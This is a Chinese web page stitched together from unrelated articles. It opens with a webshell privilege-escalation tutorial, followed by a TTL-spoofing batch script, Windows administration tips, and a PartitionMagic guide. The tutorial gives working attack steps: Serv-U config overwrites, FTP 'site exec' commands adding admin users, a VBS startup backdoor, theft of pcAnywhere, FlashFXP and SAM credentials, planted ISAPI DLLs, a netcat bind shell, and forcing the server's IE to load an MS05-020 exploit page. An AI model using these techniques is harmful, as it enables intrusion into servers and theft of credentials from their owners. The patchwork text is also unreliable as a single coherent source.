很经典的webshell提权文章

说到花了九牛二虎的力气获得了一个webshell,
当然还想继续获得整个服务器的admin权限,正如不想得到admin的不是好黑客~
嘻嘻~~好跟我来,看看有什么可以利用的来提升权限
****************************************************************************
第一
如果服务器上有装了pcanywhere服务端,管理员为了管理方便
也给了我们方便,到系统盘的Documents and Settings/All Us
ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地
破解就使用pcanywhere连接就ok了
****************************************************************************
第二
有很多小黑问我这么把webshell的iis user权限提升
一般服务器的管理都是本机设计完毕然后上传到空间里,
那么就会用到ftp,服务器使用最多的就是servu
那么我们就利用servu来提升权限
通过servu提升权限需要servu安装目录可写~

好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载
下来,然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖,
启动servu添加了一个用户,设置为系统管理员,目录C:\,具有可执行权限
然后去servu安装目录里把ServUDaemon.ini更换服务器上的。

用我新建的用户和密码连接~
好的,还是连上了
ftp
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v5.0.0.4 for WinSock ready…
User (ip:(none)): id //刚才添加的用户
331 User name okay, please send complete E-mail address as password.
Password:password //密码
230 User logged in, proceed.
ftp> cd winnt //进入win2k的winnt目录
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe
文件加用户。

如果提示没有权限,那我们就
把后门(server.exe) 传他system32目录
然后写一个VBs教本
set wshshell=createobject (”wscript.shell”)
a=wshshell.run (”cmd.exe /c net user user pass /add”,0)
b=wshshell.run (”cmd.exe /c net localgroup Administrators user /add”,0)
b=wshshell.run (”cmd.exe /c server.exe”,0)

存为xx.vbe
这个教本的作用是建立user用户密码为pass
并且提升为管理员
然后执行system32目录下的server.exe
把这个教本传他 C:\Documents and Settings\All Users\「开始」菜单\程序\启动
目录
这样管理员只要一登陆就会执行那个教本.
接下来就是等了.等他登陆.
****************************************************************************
第三
就是先检查有什么系统服务,或者随系统启动自动启动的程序和管理员经常使用的软件, 比如诺顿,VAdministrator,金山,瑞星,WinRAR甚至QQ之类的,是否可以写,如果可以就修改其程序, 绑定一个批处理或者VBS,然后还是等待服务器重启。
****************************************************************************
第四
查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码,可能会有所
收获等等。
****************************************************************************
第五
使用Flashfxp也能提升权限,但是成功率就看你自己的运气了
首先找到FlashFXP文件夹,打开(编辑)Sites. dat,这个文件这是什么东西密码和用户名,
而且密码是加了密的。 如果我把这些文件copy回本地也就是我的计算机中,替换我本地的相应文件。然后会发现 打开flashfxp在站点中打开站点管理器一样。又可以添加N多肉鸡啦~~嘻嘻~

唔??不对啊,是来提升权限的啊,晕,接着来别半途而废。
大家看看对方管理员的这站点管理器,有用户名和密码,密码是星号的。经过用xp星号密码 查看器查看,然后和Sites.dat中加密了密码做比较发现并未加密而是查到的密码是明文显示, 然后最终把这个网站管理员的密码从这堆东西中找
出来。那么下一步就可以链接这些新的服务器啦~~
经过测试只要把含有密码和用户名的Sites.dat文件替换到本地相应的文件就可以在本地
还原对方管理员的各个站点的密码。
****************************************************************************
第六

WIN2K+IIS5.0默认情况下应用程序保护选项是”中(共用的)”,这时IIS加载isapi是用的
iwam_computername用户身份执行。
但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。win2k+iis5 、
win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名,并且没有做目录限制,
以SYSTEM权限加载的isapi有:
1、 idq.dll
2、 httpext.dll
3、 httpodbc.dll
4、 ssinc.dll
5、 msw3prt.dll
6、 author.dll
7、 admin.dll
8、 shtml.dll
9、 sspifilt.dll
10、compfilt.dll
11、pwsdata.dll
12、md5filt.dll
13、fpexedll.dll

所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug,比如请求/scripts/test%81%5cssinc.dll也将会认为 是请求的ssinc.dll,就是分离文件路径的时候没有考虑到双字节的 远东版问题。ssinc.dll在处理包含文件路径的时候也有一个问题,就是”/”、”\”只识别了一个 “/”,所以如果请求里面使用”\”,就会错误的处理包含文件路径,有可能泄露东西或者出现权限 漏洞,这种漏洞很多别的地方( php、asp等)也还存在。

加载这些isapi不是单以文件名做依据了,而是加了路径,应该是修正了此问题。
一般默认情况下是:
1、 idq.dll d:\winnt\system32\idq.dll
2、 httpext.dll d:\winnt\system32\inetsrv\httpext.dll
3、 httpodbc.dll d:\winnt\system32\inetsrv\httpodbc.dll
4、 ssinc.dll d:\winnt\system32\inrtsrv\ssinc.dll
5、 msw3prt.dll d:\winnt\system32\msw3prt.dll
6、 author.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll
7、 admin.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll
8、 shtml.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll
9、 sspifilt.dll d:\winnt\system32\inetsrv\sspifilt.dll
10、compfilt.dll d:\winnt\system32\inetsrv\compfilt.dll
11、pwsdata.dll d:\winnt\system32\inetsrv\pwsdata.dll
12、md5filt.dll d:\winnt\system32\inetsrv\md5filt.dll
13、fpexedll.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll

正常情况下这些路径都guest不能写,但如果配置不好,这些路径iis user能够写了就一样可以提升权限了

可以把ISAPIHack.dll上传到IIS的可执行目录,文件名可叫ssinc.dll或者admin.dll等(上面列的13个文件名之一)。
然后等待IIS重启加载此dll,就可以获得权限了
****************************************************************************
第七

下载系统的 %windir%\repair\sam.*(WinNT 4下是sam._ 而Windows 2000下是sam)文件,
然后用L0pht等软件进行破解,只要能拿到,肯花时间,就一定可以破解。
****************************************************************************
第八
PipeUpAdmin(Windows 2000下), 在本机运行可以把当前用户帐号加入管理员组。普通用户和Guests组用户都可以成功运行。
****************************************************************************
第九
Serv-u Ftp Server 本地权限提升漏洞:
很多主机的C:\Documents and Settings\All Users\ Documents目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp. 直接上传了serv-u local exploit 和nc, 并且把serv-u的本地提升权限的名字命名为su.exe 文件就放在C:\Documents and Settings\All Users\ Documents, 然后我们用su.exe直接建立用户,也可以反弹一个shell过来的。
具体命令:
建立用户: serv-u.exe “cmd”
>USER xl
>PASS 111111

反弹shell: serv-u.exe “nc.exe -l -p 99 -e cmd.exe”

很不错的提权新方法
今天我要带给大家的是,当我们得到WEBSHELL后如何得到SYSTEM权限的新方法, 提升权限这个已经是老生常谈了,网络上已经有很多种提升权限的方法了,在这里我就不在提了,今天我给大家介绍的是就是主动利用MS05020漏洞来达到我们提升权限的目的。
MS05020是一个IE漏洞,2005.4份的时候微软就发步了这个公告:
安全漏洞CN-VA05-025
发布日期:2005-04-13
漏洞类型:远程执行代码
漏洞评估:高危
受影响版本:
Microsoft Windows 2000 Service Pack 3 和 Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2
Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
Microsoft Windows Server 2003
Microsoft Windows Server 2003(用于基于 Itanium 的系统)Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE) 和 Microsoft Windows Millennium Edition (ME) 测试过的 Microsoft Windows 组件:
漏洞描述:
Internet Explorer 由于其处理某些 DHTML 对象的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站,此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理某些 URL 的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站,此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理分级审查文件的方法而存在一个远程执行代码漏洞。 攻击者可以通过构造特制的分级审查文件来利用此漏洞。 如果用户访问了恶意网站或查看了恶意的电子邮件,并接受安装此恶意分级审查文件,则该文件可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 不过,要利用此漏洞,需要进行大量用户交互。

大家看到上面的漏洞描述了吗?当被人浏览的时候才会受到攻击,平时我们利用IE漏洞都是先把有攻击性的页面放到网上,然后等待别人去浏览,这样浏览者就会中招了。
今天我们要提升权限,那自然是让我们要提升权限的主机去浏览存在漏洞的页面了,那当我们得到WEBSHELL后怎么才能让主机去浏览这个页面呢?
Ms05020的EXP网页代码已经出来了,大家可以到:
http://www.eviloctal.com/forum/read.php?tid=10127
去下载,假如我们已经把这个EXP放到http://www.xxxx.com/ms05020.html的地方,
下面我们开始利用这个EXP,进入到我们的ASP木马,打开CMDSHELL,如果用不了的,大家自己想办法解决(可以自己上传一个CMD.EXE上去)。
在命令行里输入:start http://www.xxxx.com/ms05020.html 然后点执行。

这个时候主机的IE就会去访问我们的这个MS05020.HTML,那么如果主机没有打扑钉的话,就会绑定一个28876的断口在主机上。
接着我们输入:netstat -an | find “28876″ 看看是否成功绑定,第一次的话,会慢一些,大家要等待一下,我这里很快就成功了。然后我们telnet上去马上就成功了

大家看到了:(我添加了一个temp的管理员)

现在我们已经拿到SYSTEM权限了 ,大家还想干什么不可以?

后记:其实大家还可以先上传NC,然后连接到本地后,再输入:
start http://www.xxx.com/ms05020.html也是可以的。
还有就是如果可以的话还可以这样输入:
start “C:\Program Files\Internet Explorer\icxplore.exe” http://www.xxx.com/ms05020.htm
这个要看你的情况了,一般虚拟主机如果允许访问的话,那还是用第一个命令好了!
我测试过在2K pro、 2K server(2000 Enterprise Terminal Server) 、2003都成功过!不过也有不成功的时候,而且不成功的概率很大,特别是到虚拟机的时候,有一次我没有成功,然后我开了3389进入,发现IE没有弹出 来,而是出来了一个IE设置向导,也就是说这个服务器没有对IE进行网络设置IE是无法访问网络的,艾,其实我现在也没有搞清楚是怎么会事有点能成功有点 不行,想也想不通,因为start ist:http://www.xxx.com/xxx.exe总是能成功!
把XXX。EXE下载到它的电脑上面!我最后认为估计这个还是和MS05020.HTM这个文件有关。艾,看来这个方法的利用价值也很小了,本来不想发出 来了的,既然写出来了,还是发表出来一下吧!刚刚和无敌讨论了一下,他也是说不成功的原因估计也是这个,还有就是系统打了IE补丁。

修改TTL值 巧妙骗过黑客

大家知道,通过Ping和Tracert程序就能判断目标主机类型 ,Ping最主要的用处就是检测目标主机是否能连通。Tracert利 用ICMP数据包和IP数据包头部中的TTL值,防止数据包不断在IP 互联网上永不终止地循环。

  许多入侵者首先会Ping一下你的机子,如看到TTL值为 128就认为你的系统为Windows NT/2000;如果TTL值为32则认为目标主机操作系统为Windows 95/98;如果TTL值为255/64就认为是UNIX/Linux操作系统。既 然入侵者相信TTL值所反映出来的结果,那么我们只要修改TTL 值,入侵者就无法入侵电脑了。

操作步骤:

  1.打开“记事本”程序,编写批处理命令:

  @echo REGEDIT4>>ChangeTTL.reg

  @echo.>>ChangeTTL.reg

  @echo [HKEY_LOCAL_MACHlNE\System\CurrentControlSet\Services\T cpip\Parameters]>>ChangeTTL.reg

  @echo “DefaultTTL”=dword:000000″>>ChangeTTL.reg

  @REGEDIT /S/C ChangeTTL.reg

  2.把编好的程序另存为以.bat为扩展名的批处理文件, 点击这个文件,你的操作系统的缺省TTL值就会被修改为ff,即 10进制的255,也就是说把你的操作系统人为地改为UNIX系统了 。同时,在该文件所在的文件夹下会生成一个名为 ChangeTTL.reg 的注册表文件。如果你想运行完这个批处理文件而不产生 ChangeTTL.reg文件,可以在此批处理文件的最后一行加上 deltree/Y ChangeTTL.reg,就可以无须确认自动删除ChangeTTL.reg文件 。

  说明:在上面的命令中,echo是DOS下的回显命令,如 果想看到程序执行过程,请将“@”去掉。“> >”产生的内容将追加到它后面的文件即ChangeTTL.reg中。 而“DefaultTTL”=dword�000000ff”则是用来设置系统缺省TTL 值的,如果你想将自己的操作系统的TTL值改为其他操作系统的 ICMP回显应答值,请改变“”DefaultTTL””的键值,要注意将 对应操作系统的TTL值改为十六进制才可以。

  这样,当入侵者Ping你的机器时,他得到的就是一个假 的TTL值,这个假的TTL值就会误导对方,使入侵者的判断出现 失误,因为针对不同的操作系统的入侵方法并不一样,所以用 这个方法欺骗对方,可以让他摸不着头脑!利用这个方法欺骗入侵者是不是很妙啊?快试试吧!

网管应当如何管理Windows操作系统

网络给应用带来了方便,同时也带来了危险,因此,管理与安全成为非常严重的问题。Windows操作系统在这方面提供了丰富的功能,也许工作繁忙的您还没有发现这些有用的特性,下面,让我们一一为您展示,总有一些适合您!

  1、保护密码

  即便是相信您的朋友,一起打牌的时候还是要切一下牌。同样道理,即便是您对自己的记忆里充满信心,最好也保存一张含有密码的启动磁盘,这样万一您忘记了密码,还可以有方便的解决办法。具体操作步骤是,第一,找一张已经格式化好的空白软盘,然后在任意的资源管理器窗口或者IE 窗口的地址栏上键入“控制面板/ 用户账户”并回车,在“用户账户”窗口中选择您的账户,在相关的任务列表中,点击“阻止一个已忘记的密码”,然后根据后面的“忘记密码向导”的提示完成操作。

  2、绕过忘记的密码

  如果您没有准备带有密码的启动盘,然后用其他的管理原级别的账户登录,按照第16条中的方法打开“用户账户”设置界面,选择忘记了密码的那个账户,点击“更改密码”,然后按照提示重新设置新的密码。

  如果您无法使用另外一个管理员级别的用户名进行登录,请您重新启动计算机,然后在Windows 启动标志出现时按“F8”键,进入Windows 的启动选项界面。使用上下键移动到“安全模式”然后按回车键。当您看到欢迎界面时,选择Administrator(这是一个隐藏的账户,而且默认不需要任何密码),接下来的操作和第17条所描述的一样,重新设置账户密码,最后重新启动计算机。

  3、成为一个Power User

  在Windows 2000 中文版中称其为权限高的用户。当您以管理员用户登录系统的时候,您的系统容易受到特洛伊木马等恶意程序的攻击。当您以一个“Power User”登录系统时,就可以避免很多危险,而且您通常需要使用的功能基本上和管理原级别的用户一样,当然,如果有必要的话,切换回管理员级别的用户也比较方便。

  设置Power User的操作步骤如下:选择“开始”/“运行”,键入“lusrmgr.msc”命令行后回车,进入“本地用户和组”窗口,在左边点击“组”,然后双击右侧的“Administrators”。在这里您需要确认一下“成员”列表里有另外一个账户,即当您需要完全的管理原级别的权限时还可以用这个账户登录系统。选择您想降级的账户,点击“删除”*“确认”。接下来在左侧点击“Power Users”*“添加”,键入您指定的账户名称,最后点击“确认”2 次。

  4、当一次临时管理员

  Power user 可以运行管理员级别的程序,例如前面第3 条中提到的Lusrmgr.msc 程序,而无须注销再以管理员级别的账户重新登录。具体的操作是,在资源管理器中,按住键盘上的“Shift”键,然后用鼠标右键点击您想运行的程序或快捷方式,从弹出菜单中选择“运行方式”,然后选择“以下面的用户身份运行程序”(在Windows 2000 下)或者“下列用户”(在Windows XP下),然后键入您希望使用的管理员级别的用户身份名称和密码(如果有必要的话还需要键入域名),最后点击“确认”即可。

  5、使用Windows 的网络安装向导

  如果您是第一次连接计算机网络,Windows XP 的“网络安装向导”是个不错的选择,它可以一步一步地帮助您设置好各种细节。如果您想手动运行该向导,可以选择“开始”*“运行”,然后在命令行的位置键入“netsetup”,回车即可。

  6 、安装无线网络

  当您在计算机中插入一块无线网络适配器时,XP会自动弹出一个“连接到无线网络”的对话框。用鼠标右键点击系统栏中的无线网络图标,然后在弹出菜单中选择“查看可以使用的无线网络”,并从中选择您指定的无线连接,最后点击“连接”按钮。如果您没有看到这个图标,请在“资源管理器”或者文件夹窗口的地址栏键入“控制面板/网络连接”,然后用鼠标右键点击无线网络连接的图标。

  7、连接到一个非安全的无线网络

  如果第6条技巧中提到的“连接到无线网络”对话框中的“连接”按钮无法使用(是灰色的),该网络可能是缺少“与有线连接相对等的隐私保护”或者更新版本的“Wi-Fi 保护安全连接”。如果您想解决这个问题,可以开启“允许我连接到选择的无线网络,即便是非安全的”项目。不过需要注意的是,这个时候您的隐私保护又可能出现问题。

  8、自己动手完成无线网络连接

  在默认情况下,Windows XP会自动设置您的无线网络连接参数,也就是XP 所谓的“无线网络零设置功能”。但是如果您的无线设备随机附有自己的驱动程序,您最好还是把Windows的这项功能关掉。具体操作是,双击“网络连接”窗口中的“无线网络连接”图标(如第6 条技巧所示),或者点击系统栏里该图标的缩小版。选择“属性”,然后在“无线网络连接属性”对话框中,点击“无线网络”,关闭“使用Windows来配置我的无线网络”,最后点击“确定”。

  9、快速切换账户

  如果您的计算机内存足够大,您可以从一个账户很快地切换到另一个账户,而无需先注销第一个账户。具体操作步骤如下,点击“开始”*“注销”*“切换用户”。这项功能在您需要马上使用另一个账户的时候非常有用,可以节省时间。但是那您可以并不喜欢这项功能,因为使用该功能可能带来系统运行的滞后,尤其是当您在运行游戏、系统工具或其他需要消耗大量系统资源的程序时,影响更加明显。

  10、关闭快速用户切换功能

  前面提到的“快速用户切换”功能还有另外一个缺点,当您使用该功能时,您就无法使用Windows 的“离线文件(Offline Files)”功能,该功能可以自动下载网页供您离线浏览。如果您想关闭“快速用户切换”功能,可以在任意一个“资源管理器”或IE浏览器的地址栏键入“控制面板/用户账户”然后回车,然后在“用户账户”窗口中点击“更改用户登录或注销的方式”,关闭“使用快速用户切换”项目,最后点击“应用选项”即可。

  11、关闭账户而不是删除账户

  如果某位员工要出一趟远门,长期离开公司,出于安全预防的考虑,您需要更改账户设置,但是您最好是不要直接删除该账户。这是因为以后重新建立该账户时,该员工的账户的权限就都不是以前的配置了,而且该员工也无法使用新账户来访问他自己的加密文件。如果您认为某个账户将来还有可能开启,您最好是关闭该账户而不是整个删除该账户,具体操作如下(在Windows XP的H o m e 版中该功能无法使用): 按Windows-R 组合键,键入“lusrmgr.msc”,然后按回车。点击“用户”文件夹,然后双击您要关闭的账户,打开“关闭该账户”项目,最后点击“确定”。如果您之后要重新开启该账户,只要在这里再次关闭该项目即可。

  12、为已删除账户保留文件

  如果您非常确定某员工的账户不会再使用了,您可以彻底删除该账户并保存他的用户文件。具体操作步骤是:以一个管理员级别的账户身份登录系统,在“资源管理器”或IE浏览器的地址栏里键入“控制面板/ 用户账户”,然后回车。下一步,选中您想删除的账户名,点击“删除账户”,然后点击“保留文件”按钮,最后点击“删除账户”按钮即可。经过这些操作,尽管该员工的账户已经被彻底删除,但是他的桌面设置以及“我的文档”中的所有文件还会被放到一个管理员账户桌面上的新建文件夹中进行保存。需要注意的是,该员工的电子邮件和其他设置在账户删除之后就彻底地永远消失了。

分区软件PartitionMagic的使用方法(images)及注意事项

一、调整分区容量

由于原来分区时考虑欠周、应用中有新的需要或要安装新的操作系统,经常会出现某个分区容量不够的情况,特别是C盘常常会被剩余空间不足所困扰,这时PartitionMagic就可以大显身手了。
1.选择硬盘和分区

Click here to open new window
图1
运行PartitionMagic,在软件窗口左边任务栏中选择“调整一个分区的容量”(图1),会弹出“调整分区容量向导”,单击“下一步”,先选择要调整分区的硬盘驱动器,然后进入下一步选择要调整容量的分区(图2)。

Click here to open new window
图2
2.调整分区的大小

Click here to open new window
图3
在接下来出现的对话框(图3)中会显示出当前硬盘容量的大小以及允许的最小和最大容量。你可在“分区的新容量”处的数值框中输入改变后的分区大小。注意最 大值不能超过上面提示中所允许的最大容量。然后在下一个对话框中选择要减少哪一个分区的容量来补充给所调整的分区。

Click here to open new window
图4
最后需要确认在分区上所做的更改。在对话框(图4)中会出现调整之前和之后的对比,在核对无误后就可以点击“完成”按钮回到主界面。
3.执行操作


图5
以上的操作还只是对分区调整做了一个规划,要想让它起作用还要选择左边栏下部的“应用”按钮(图5),此时会弹出一个“应用更改”对话框,选择 “是”,即可开始进行调整,此时会弹出“过程”对话框(图6),其中有三个显示操作过程的进度条,完成后重新启动计算机方才大功告成。


图6
提示:如果调整的两个分区有重要数据,记住要备份。调整过程中,不要对正在执行操作的分区进行读写操作。另外操作过程耗时较长,在这个过程中一定不要断电。
二、合并、分割分区
早期的硬盘分区都比较小,已经不能适应现在的应用需求了,但可以使用PartitionMagic将两个较小的分区合并成一个大的分区。如果分区过 大,也可以用PartitionMagic将它分割成几个较小的分区。这些操作除了可以通过选择左边栏中的命令并根据操作向导进行操作外,还可直接选择欲 操作的分区,通过右键的快捷菜单来进行。

Click here to open new window
图7
在PartitionMagic主界面中选中要合并的分区,然后单击鼠标右键,在弹出的快捷菜单中选择“合并”命令,会打开“合并邻近分区”对话框(图 7)。先在“合并选项”栏中选择要合并的分区,然后在“文件夹名称”处指定用于存放合并分区数据的文件夹名称(如果要把两个分区合并成为一个分区,参加合 并的其中一个分区的全部内容会被存放到另一个分区的指定的文件夹下面)。最后单击“确定”。 注意事项:

Click here to open new window
图8
分割操作与合并类似,先选择分割的分区,单击鼠标右键,然后在弹出的快捷菜单中选择“分割”命令,打开“分割分区”对话框(图8)。先在数据选项卡中 指定好新建分区的卷标、盘符,然后移动想要存放到新分区的文件夹,可以双击左侧的文件夹把它放在新建的分区中,最后在“容量”选项卡中设定新建分区的容 量。完成后单击“确定”按钮。
提示:分割分区的操作对NTFS分区无效。
三、转换格式
分区的文件系统有多种多样的类型,如常见的FAT16、FAT32、NTFS等,我们可以使用PartitionMagic来实现分区格式的转换。用 鼠标右键单击要转换分区的盘符,然后选择“转换”命令,会弹出“转换分区”对话框(图9),在其中选择要转换的格式单击确定即可。如果使用的是 Windows 98之类的系统只能把FAT16转换为FAT32,而对于Windows NT/2000/XP系统中,可实现FAT32与NTFS格式之间的转换。


图9
以上是PartitionMagic最常用的应用,除此之外,在PartitionMagic还可用来复制分区、格式化分区,操作方式基本都差不多,豆仔在这里就不啰嗦了,不过记住,不要有事没事去尝试这些操作,只有万不得已的时候才用它。
——————————————————————————————————-
注意事项
一、保持电源稳定
PM典型优点是不损坏硬盘数据而对硬盘进行分区、合并分区、转换分区格式等操作。这些操作无疑要涉及大量数据在硬盘分区间搬运,而搬运中转站就是物理 内存(ROM部分)和虚拟内存,但物理内存(ROM部分)和虚拟内存却有一个先天致命弱点:一旦失去供电,所储存的数据便会消失的一干二净,因此运行PM 时必须保持电源稳定。
保持电源稳定要从两方面着手,一方面要保持市电的稳定,最好的解决办法是准备一台不间断电源(UPS);另一方面,要注意系统的“电源管理”。使用 “电源管理”低能耗功能有利于保护硬盘和监视器。但若正让PM对硬盘进行操作,而电脑操作系统没有接收到外部指令(敲击键盘或移动鼠标等)而进入休眠或等 待状态,将硬盘关闭,硬盘数据将不知会损失成什么样子。
防止系统“电源管理”引起不必要麻烦的办法是:由“控制面板”进入“电源管理”,在“电源管理属性”里将“电源使用方案”设为“始终打开”,把“系统等待”、“关闭监视器”、“关闭硬盘”全部设为“从不”。
二、谨慎硬盘分区系统格式转换操作
使用PM可方便、快捷地实现几种文件系统格式的转换,但在转换之前应注意:
1、 FAT分区是DOS,Windows 3.1,Windows 95/98可以使用的;FAT32分区是Windows 95 OSR2,Windows 98,Windows NT5.0可以使用的;NTFS则由Windows NT系列专用;HPFS是OS2系统使用的。高一级的操作系统往往可以兼容低一级分区系统格式,而低一级的操作系统无法使用高一级的分区系统格式。
2、 多数程序不会受从FAT16转换为FAT32(或NTFS)的影响,但是FAT32(或NTFS)格式对于一些依赖于纯FAT16格式的软件(如磁盘实用 程序PCTOOLS 9.0、Norton 95等)不能很好地支持。要使用这些软件需要将FAT32再转换回FAT16格式或者升级这些实用程序到最新版本或下载使这些软件与FAT32(或 NTFS)相兼容的补丁。
3、 由于FAT16文件系统的局限性,一个FAT16格式的分区最大容量是2473.2M。对一个超过2GB的分区进行FAT32转换为FAT操作时,可能会 出现盘符混乱且该分区不可读。用PM查看,显示Stack Overflow(堆栈溢出)的错误信息。修改错误可试着运行Fdisk,把出错的逻辑分区删除,再重建逻辑分区。
4、 转换为FAT32的分区容量不能小于256M;若将一个FAT32分区转换为FAT格式,必须保证至少有300-400M的自由空间。否则可能导致硬盘数据丢失。
5、 文件系统格式可以实现硬盘上的特定空间和文件对特定用户开放,其他用户受到进入或读写权限限制。但一旦转换为FAT16或FAT32,硬盘上的所有空间和文件将对所有用户开放;同时在NFTS下对部分文件设置的特殊文件属性也将消失。
三、合并分区要小心
PM可以将一个硬盘上相邻的系统格式相同的两个分区合二为一。这项功能对于两个分区自由空间都所剩无几,而又需要一块拥有较大自由空间的分区特别有用。
合并分区操作要花费较长的时间。若两个分区较大且分区内数据较多,合并操作可能要用上数个小时之久,进度相当缓慢,有时会给人以“死机”的错觉。
使用PM合并两个分区一定要有耐心才行,运行期间绝对不允许有因等不及或误以为“死机”而关闭或重启计算机和断电情况的发生。此类事情一旦发生,等你 进入计算机时会发现要合并的两个分区被冠以“PQFLEX”的巻标并且分区显示为“PqRP”文件系统格式(事实上并非是一种文件系统格式,而是中断PM 后产生的一种不稳定文件格式状态),或分区及其中的数据丢失,甚至根本就无法进入计算机。
四、别让PM的“自动化”伤了硬盘的“芯”
应该说,使用PM操作硬盘相当简单,只用进入PM界面,如同动画模拟一般将你所希望对硬盘的变动操作一遍即可,PM会把你的操作一一记录,而后可放手 让PM把硬盘改动到你所希望的状态。这或许就是PM制造商PowerQuest所引以自豪的高度智能自动化。确切的说这种“傻瓜式”自动化傻瓜到了只是被 动式的接受操作者的指令,而非进行智能化的分析后而进行磁盘操作。比如你有一40G的硬盘,分为C和D两个分区且各为20G。在PM里开始将分区C让给D 区1G的空间,后从D区分出2G的空间并入C区(结果是C为21G,D为19G)。这一进程让PM执行时,不是经过分析前后过程后智能地进行简洁操作,将 D区直接分出1G的空间合并入C区,而是捉笨的将以上操作一一执行:先由C区划入D区1G,再从D区分出2G的空间给C区。让硬盘长时间毫无意义的狂转不 止,数据在不同区域间搬来搬去。
为了不让“无为劳动”“伤”了你的硬盘,不要过分依赖PM的自动化,在操作前充分计划好所希望的最终硬盘状况结果,去掉不必要的操作程序。用最简练的步骤达到结果。一旦操作上出现不必要的反复,最好撤销以前指令,重新开始。


五、谨慎对待PM与其他应用软件的兼容性
PM可以与大多数的应用软件和平共处。但对个别工具软件,如防病毒软件、磁盘工具等就不那么和气了。
1、 防病毒软件
PM的多数操作都要涉及硬盘数据及分区表的改动,这些改动往往被防病毒软件视为潜在病毒攻击电脑系统的信号,对这些操作加以制止,引起应用软件间的冲突。
使用PM以前,最好用防病毒软件将硬盘及可能要用到的软盘彻底查杀病毒一遍,确信没有病毒的情况下将防病毒软件功能关闭,再运行PM。
2、 诺顿磁盘医生(Norton Disk Doctor,简称为NDD)
NDD是一个强大的磁盘工具,能够诊断并修复各种各样的磁盘问题。用PM对分区空间改变大小不当会引起NDD的错误提示。
如果NDD对位于磁盘根部的一个扩展分区检测提示“一个扩展分区有无效的参数并且可能无法使用…”。这时应关闭NDD,使用PM将这个逻辑分区容量适当增大,让其尾部留有一定的可用空间。
另外,PM删除、移动、或缩放分区后,NDD可能认为你无意中删除了一个分区,将善意提醒你是否恢复这个分区。当然不能选择恢复了。让NDD对这一分区重新做一标识,以后就不会再出现烦人的“选择恢复”提示。
3、 磁盘压缩实用程序
希望PM能与DriveSpace等磁盘压缩程序相安无事,比较可靠的途径是适量增大经压缩过的分区所保留的自由空间。
另外特别要注意的是,当硬盘上有重要数据时最好不要使用PQMagic,否则可能会造成损失,即使真的要使用也请务必在事前做好备份工作。一旦发生问题请 不要慌张,更不能一气之下重新分区格式化了而造成无法挽回的损失,请找对硬盘工具熟悉的高手帮你看看能否解决,如果硬盘上数据真的非常重要还可以找专门的 数据恢复公司解决,一般都是有希望找回数据的。
硬盘储存数据要运用一定的文件系统格式,主要有FAT16和FAT32、NTFS、HPFS。高一级的格式能比低一级的在驱动器上创建多至几百兆的额外硬盘空间,从而更高效地存储数据。此外,可加快程序的加载速度,减少所用的系统资源。

转自 http://www.yesky.com